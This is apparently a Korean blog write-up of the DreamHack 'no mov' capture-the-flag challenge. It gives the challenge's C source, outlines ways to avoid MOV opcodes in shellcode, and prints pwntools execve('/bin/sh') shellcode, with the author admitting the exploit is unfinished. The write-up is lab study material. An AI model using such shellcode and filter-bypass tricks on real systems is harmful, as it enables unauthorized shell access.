본문 바로가기

Hacking/DreamHack

no mov

1. 코드 분석

#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

//입출력 시 버퍼링 하지 않도록 설정

void initialize() {
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
    setvbuf(stderr, 0, _IOLBF, 0);
}

//문자열을 입력받아 금지된 바이트 코드 포함 여부를 확인함

int verify(uint8_t *sh, int len) {
    const uint8_t banned[] = {
        0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8E, // MOV
        //0x88, 0x89 : 레지스터에서 레지스터, 레지스터에서 메모리로 바이트 또는 워드/더블워드를 복사
        //0x8A, 0x8B : 메모리에서 레지스터로 바이트 도는 워드/더블워드 값을 복사
        //0x8C, 0x8E : 세그먼트 레지스터와 일반 레지스터 사이를 복사
        0xA0, 0xA1, 0xA2, 0xA3, // MOV
        0xA4, 0xA5, // MOVS
        0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, // MOV
        0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, // MOV
        0xC6, 0xC7 // MOV
    };

    for (int i = 0; i < len; i++)
        for (int j = 0; j < sizeof(banned); j++)
            if (sh[i] == banned[j])
                return 0;
    
    return 1;
}

//random 64비트 주소값을 할당하고, 해당 주소의 포인터를 지정

uint8_t *get_mmaped_page() {
    int urandom_fd = open("/dev/urandom", O_RDONLY);
    uint64_t addr;
    if (read(urandom_fd, &addr, sizeof(uint64_t)) != sizeof(uint64_t)) {
        puts("Failed to read /dev/urandom");
        return 0;
    }
    addr &= 0xffffffff000ul;

    close(urandom_fd);
    
    uint8_t *page = mmap((void *)addr, 0x1000, 7, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
    if (page == MAP_FAILED || page != (uint8_t *) addr) {
        puts("Failed to mmap");
        return 0;
    }

    return page;
}

int main() {
    initialize();

    uint8_t *sh = get_mmaped_page();
    uint8_t *stack = get_mmaped_page();
    if (!sh || !stack) {
        puts("Failed mmap");
        return 1;
    }
    memset(sh, 0x90, 0x1000);
    //sh주소에 NOP 명령어 항당
    memset(stack, 0, 0x1000);
    //stack주소에 4096바이트를 0으로 채움

    printf("Give me your shellcode > ");
    int len = read(0, sh, 0x800);
    // 사용자가 입력한 값을 sh 에 저장 (최대 2048바이트)


	if (verify(sh, len)) {
        // Setup return address
        //프로그램 싫행 흐름을 sh 이 가리키는 코드로 전환하기 위한 목적
        *((uint64_t *)(stack + 0x7f8)) = (uint64_t)sh;

        // Initialize registers...
        asm("xor %rbx, %rbx");
        asm("xor %rcx, %rcx");
        asm("xor %rdx, %rdx");
        asm("xor %rdi, %rdi");
        asm("xor %rsi, %rsi");
        asm("xor %r8, %r8");
        asm("xor %r9, %r9");
        asm("xor %r10, %r10");
        asm("xor %r11, %r11");
        asm("xor %r12, %r12");
        asm("xor %r13, %r13");
        asm("xor %r14, %r14");
        asm("xor %r15, %r15");

        // Setup new stack frame
        asm("mov %0, %%rsp" :: "r"(stack + 0x7f8));
        //rsp : stack pointer register, stack 최상단
        asm("mov %0, %%rbp" :: "r"(stack + 0x800));
        //rbp : base pointer register, 함수의 스택프레임의 시작 주소
        asm("xor %rax, %rax");
        //rax : accumlator register, 산술 연산의 결과 저장 구eax)

        // Jump to shellcode
        asm("ret");
    } else {
        puts("No.");
    }
    return 0;
}

 

2. 조건 파악

 

임이의 어셈블러 명령어를 사용자가 입력할 수 있기 때문에 쉘을 따거나, ORW 쉘코드를 작성해 falg 를 읽는 간단한 문제이나,

- 문제점은 MOV opcode를 사용 할수 없다는 점

- mov를 대체할 방법을 찾는 것이 이 문제의 핵심

1) push, pop 이용 

 > mov rax, 0x30 // 0x30 값을 rax 에 저장

 > push 0x30 //스택 최상단에 0x30 저장

    pop rax // 스택 최상단에 있는 값을 가져와서 rax 로 저장 

2) xchg

  > 한 레지스터에 저장되어 있는 값을 다른 레지스터로 옮기고 싶다면 xchg opcode를 이용할 수 있다.

  > mov 는 소스 레지스터의 값을 데스티네이션 레지스터에 복사하지만, xchg 는 두 레지스터의 값을 서로 교체함! 

3) 반복문이용

  > mov rax, rdx 를 사용하고 싶다고 하자 (rax=0, rdx는 임의의 값)

   - 그렇다면 rax가 rdx와 같아질때까지 INC를 이용해 1씩 증가시키는 방법

  > xor rax, rax

     loop_start:

       inc rax

       dec rdx

       jnz loop_start

4) mov rax, 0 은 xor rax,rax로 대체 가능

 

3. 과정

=> mov를 사용하지 않고, execve("/bin/sh",0,0) syscall을 호출해 쉘 획득하는 것을 목표로 함

 

1) pwntools 을 통해 shellcraft.sh()을 호출하여, execve("/bin/sh") 셸코드 획득

/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

 

2) mov  변환 후 pwn 코드 작성하여 실행하면 될 것으로 보이나, 마무리 하지 못함.

 어셈블러흐름의 공부가 좀더 필요할 것으로 보이며, opcode 작성을 좀더 해봐야 될 껏으로 보임

'Hacking > DreamHack' 카테고리의 다른 글

arm traning v2  (0) 2024.05.07
arm training v1 (pwn)  (0) 2024.05.07
uaf_overwrite  (1) 2024.04.09
rev-basic-3  (0) 2024.04.09
What-is-my-ip(5Round CTF)  (0) 2024.03.30